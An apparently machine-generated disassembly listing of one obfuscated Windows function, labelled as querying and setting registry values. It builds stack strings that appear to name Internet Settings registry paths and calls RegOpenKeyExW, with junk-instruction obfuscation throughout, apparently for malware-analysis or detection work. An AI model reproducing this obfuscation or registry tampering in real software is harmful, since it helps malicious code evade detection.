Function at 0x5735a7
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov word [ebp - 8], dx
sub edx, esp
push edi
rcl dl, 0x55
shrd edx, ebx, 0xbb
rol dl, 0xa
lea edx, [ebp - 0x4a0]
jmp 0x59de36
push ebp
sbb ebp, edx
mov ebp, esp
sub esp, 0x4ac
mov eax, dword [0x520628]
sal ch, cl
mov cl, 0x8c
xor eax, ebp
btc cx, 0xed
mov dword [ebp - 4], eax
movsx ecx, ax
add cx, sp
push edi
and cl, 0x22
shrd ecx, ecx, 0xab
sub edi, edi
bsf ecx, edi
push 0x3fe
lea ecx, [ebp - 0x49e]
stc
cmp dh, 0xc8
sub eax, eax
jmp 0x5aaa23
mov dword [ebp - 0x4ac], 4
jmp 0x5a4151
mov eax, 0x74
setge ch
add cl, bl
mov ecx, 0x56
test bp, 0x587b
mov word [ebp - 0x5e], dx
mov word [ebp - 0x5c], ax
ror dl, cl
mov word [ebp - 0x5a], cx
mov edx, 0x65
btc cx, 0xef
mov word [ebp - 0x58], dx
add al, 0x42
bt eax, 0x7d
btc eax, 0x67
mov edx, 0x69
xadd cx, cx
mov word [ebp - 0x52], dx
mov eax, 0x72
mov word [ebp - 0x56], ax
and eax, esi
cmovne ax, dx
bsr eax, edx
mov edx, 0x5c
add eax, 0x23ab1eb8
mov cx, sp
bts cx, cx
mov word [ebp - 0x4c], dx
cbw
add cl, 0x65
btc edx, 0xe5
mov eax, 0x6f
xor dx, dx
add dh, 0xfe
mov word [ebp - 0x50], ax
cmc
mov ecx, 0x73
movzx dx, ah
cmovbe dx, dx
mov word [ebp - 0x54], cx
sets dl
and cx, si
mov edx, 0x74
ror eax, 0x8d
bts ecx, ebp
mov word [ebp - 0x46], dx
and eax, ebp
inc edx
mov ecx, 0x6e
btc dx, cx
mov word [ebp - 0x4e], cx
btr eax, 0xea
mov word [ebp - 0x48], cx
sbb cx, bp
or ah, 0x78
bt ecx, 0x1e
mov eax, 0x49
mov word [ebp - 0x4a], ax
movsx edx, dx
and ah, 0x2e
mov edx, 0x6e
add eax, 0x6d653aac
bts cx, bx
xadd cx, cx
mov word [ebp - 0x40], dx
ror cx, 0xa3
clc
add ax, bp
mov eax, 0x65
cmp si, dx
mov word [ebp - 0x44], ax
sbb cl, 0xc
rcr dh, 0xc6
bt edx, eax
mov word [ebp - 0x3e], ax
sar ax, 0x51
sal dl, 0xd6
mov ecx, 0x72
btr eax, edx
rcr ah, 0xf8
mov word [ebp - 0x42], cx
setns dl
rcl dx, 0xc1
sar al, 0xde
mov edx, 0x20
test bp, 0x6a9b
mov word [ebp - 0x3a], dx
mov eax, 0x53
inc dh
mov word [ebp - 0x38], ax
test edx, 0x13f2ec2
bsf ax, si
mov edx, 0x74
or ax, bp
shr ah, cl
btr ax, 0xb3
mov eax, edx
stc
mov ecx, 0x74
test ch, bl
stc
mov word [ebp - 0x3c], cx
mov ecx, 0x65
test ch, 0xea
mov word [ebp - 0x32], ax
mov word [ebp - 0x36], cx
mov word [ebp - 0x34], dx
rol cl, 0x95
cbw
btc dx, 0x46
mov eax, 0x67
mov ecx, 0x69
cmp edx, 0x17ec5628
mov edx, 0x6e
push esi
clc
cmc
test esi, 0x36c44ee8
mov word [ebp - 0x2c], ax
add eax, ebx
sbb ax, bp
mov word [ebp - 0x30], cx
mov word [ebp - 0x2e], dx
cwde
lea eax, [ebp - 0x4a0]
bsr ecx, edx
mov ecx, 0x73
test edx, edx
xor edx, edx
jmp 0x5c3bcf
add esp, 0x24
mov word [ebp - 0x14], dx
bt dx, di
setle dl
movsx dx, al
mov word [ebp - 0x12], ax
mov word [ebp - 0x10], cx
mov eax, ecx
cmp esi, edx
shr cl, cl
mov ecx, 0x6c
sar dl, 0xbf
mov word [ebp - 0xa], cx
btr dx, ax
mov edx, 0x63
shl cl, 0x74
and ecx, ebp
lea ecx, [ebp - 0x4a8]
push ecx
test eax, ebp
mov word [ebp - 0xe], dx
xchg edx, edx
sal dl, 0x25
push 0x2001f
cwd
mov edx, 0x73
jmp 0x538ec9
push ecx
push edi
push edi
cdq
cmovp dx, si
not dh
lea edx, [ebp - 0x24]
jmp loc.0042854f
mov edx, 0x65
jmp 0x6c9585
xor eax, eax
jmp 0x64c5d9
mov word [ebp - 0xc], ax
cmp edi, ebp
test ebx, edi
clc
push edx
cmp dl, cl
jmp 0x5971c4
mov word [ebp - 0x68], ax
sar al, 0xd8
inc eax
mov word [ebp - 0x66], cx
shr cx, cl
mov eax, esp
mov eax, edx
btr ecx, 0x59
mov ecx, 0x65
mov word [ebp - 0x64], dx
shrd dx, bp, 0xc5
mov word [ebp - 0x62], ax
cbw
movsx ax, cl
btr edx, 0x1b
mov word [ebp - 0x60], cx
bswap ax
rol ah, cl
mov edx, 0x6e
test sp, di
jmp 0x5788a3
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jmp 0x6408e0
push edi
jmp 0x5c6625
mov word [ebp - 0x6c], cx
rcr dx, 0x24
mov ecx, 0x2374545f
stc
mov edx, 0x5c
mov word [ebp - 0x6a], dx
mov dx, si
cmovne ecx, esp
mov eax, 0x43
bsf dx, cx
rcr edx, 0xe2
mov ecx, 0x75
xadd dh, dh
mov edx, 0x72
jmp 0x59ec63
push 0x200
push eax
mov word [ebp - 0x2a], cx
mov word [ebp - 0x28], dx
call fcn.0046ecd5
lea ecx, [ebp - 0xa0]
push ecx
lea edx, [ebp - 0x4a0]
push 0x200
jmp 0x685e6b
push ecx
jmp 0x677420
mov word [ebp - 6], ax
jmp 0x6c3525
jne 0x6e7f83
lea eax, [ebp - 0x4ac]
cmovp dx, di
push eax
movzx ecx, ax
mov al, 0x38
mov eax, dword [ebp - 0x4a8]
cdq
mov ecx, esp
mov cl, 0xcb
lea ecx, [ebp - 0x4a4]
jmp 0x57cdbb
push reloc.WS2_32.dll_closesocket
jmp 0x63f4ae
mov word [ebp - 0x4a0], ax
call fcn.00473d40
mov edx, 0x5c
shl ax, 0xac
btr ax, 0xbc
rcr ax, 0x15
mov word [ebp - 0xa0], dx
shl eax, 0xb3
shl ax, cl
btc ax, 0xee
mov eax, 0x53
movzx dx, dh
clc
mov word [ebp - 0x9e], ax
shl ah, 0xf
mov ecx, 0x4f
rcr edx, 0xac
movzx ax, ch
inc dh
mov word [ebp - 0x9c], cx
bsr cx, si
ror al, 0x84
mov edx, 0x46
sub eax, edi
mov word [ebp - 0x9a], dx
bt eax, 0x59
mov eax, 0x54
mov word [ebp - 0x98], ax
sub cx, si
mov ecx, 0x57
mov word [ebp - 0x96], cx
not dl
mov edx, 0x41
sbb ecx, 0xc006af0
or ecx, 0x6f944132
mov word [ebp - 0x94], dx
shld edx, ebx, 0x95
test esi, 0x1c7b1609
inc cx
mov eax, 0x52
mov ecx, edx
and cx, si
sal cx, 0x62
mov word [ebp - 0x92], ax
bts dx, si
mov ecx, 0x45
inc al
xor eax, edi
shld dx, ax, 0x81
mov word [ebp - 0x90], cx
mov edx, 0x5c
rcr ah, cl
mov ecx, 0x55cf139c
bts ecx, ecx
mov word [ebp - 0x8e], dx
mov eax, 0x4d
btr edx, ebx
bt edx, edi
add cl, 8
mov word [ebp - 0x8c], ax
rcr cl, 0x44
or ax, bp
clc
mov ecx, 0x69
btr eax, edx
movzx edx, sp
mov word [ebp - 0x8a], cx
mov edx, 0x63
movzx ecx, bx
mov word [ebp - 0x88], dx
cmp cx, bp
sbb eax, 0x432d75d0
stc
mov eax, 0x72
movsx edx, di
rol dh, cl
bsf edx, ebp
mov word [ebp - 0x86], ax
bt cx, sp
cdq
mov ecx, 0x6f
mov eax, ecx
sar dx, cl
clc
mov word [ebp - 0x84], cx
mov edx, 0x73
btr ecx, 0x47
shl ecx, cl
mov word [ebp - 0x82], dx
dec cx
bt ecx, esp
mov word [ebp - 0x80], ax
cmp esp, 0x2d484e04
shld ax, bp, 0x76
mov ecx, 0x66
adc al, dl
btc eax, ecx
mov word [ebp - 0x7e], cx
btc dx, dx
bts edx, edx
mov edx, 0x74
shld eax, eax, 9
rcr cl, cl
mov word [ebp - 0x7c], dx
mov eax, 0x5c
sbb cx, bx
mov word [ebp - 0x7a], ax
jmp 0x6ad574
push edx
call fcn.0046ecd5
mov eax, 0x53
mov word [ebp - 0x24], ax
mov edx, 0x63
mov ecx, 0x65
cbw
bts eax, edx
mov word [ebp - 0x20], dx
or edx, esp
mov eax, 0x75
jmp 0x5890c6
mov ecx, 0x57
ror ah, 0xbc
mov word [ebp - 0x78], cx
cmova cx, bx
sbb dh, 0x99
mov edx, 0x69
mov word [ebp - 0x76], dx
mov eax, 0x6e
rcl ecx, cl
mov word [ebp - 0x74], ax
and cx, 0xf1e
mov ecx, 0x64
bts ax, bp
rol dl, cl
mov word [ebp - 0x72], cx
bsr edx, ebx
xor eax, esp
mov edx, 0x6f
mov word [ebp - 0x70], dx
mov eax, 0x72ee2ece
mov eax, 0x77
mov ecx, 0x73
mov word [ebp - 0x6e], ax
jmp 0x5b915b
mov dword [ebp - 0x4a4], edi
jmp 0x578245
mov word [ebp - 0x22], cx
stc
xor ch, 0x8e
mov word [ebp - 0x1e], ax
mov ecx, 0x72
bsr eax, esi
cmovne ax, sp
bsf eax, ebx
mov eax, 0x50
mov word [ebp - 0x1a], dx
mov edx, 0x6f
test si, 0x64e0
cmp si, ax
mov word [ebp - 0x1c], cx
clc
mov word [ebp - 0x18], ax
dec eax
sbb ah, bl
mov word [ebp - 0x16], cx
mov eax, 0x74
stc
and ch, 0xbf
mov ecx, edx
cmc
jmp 0x57aa36
sub eax, eax
xadd ecx, edi
sets ch
sal ecx, cl
pop edi
bt ecx, 0x19
mov ecx, dword [ebp - 4]
clc
test si, bx
xor ecx, ebp
jmp 0x6f1385
call fcn.0046e186
mov esp, ebp
movzx ebp, dx
pop ebp
ret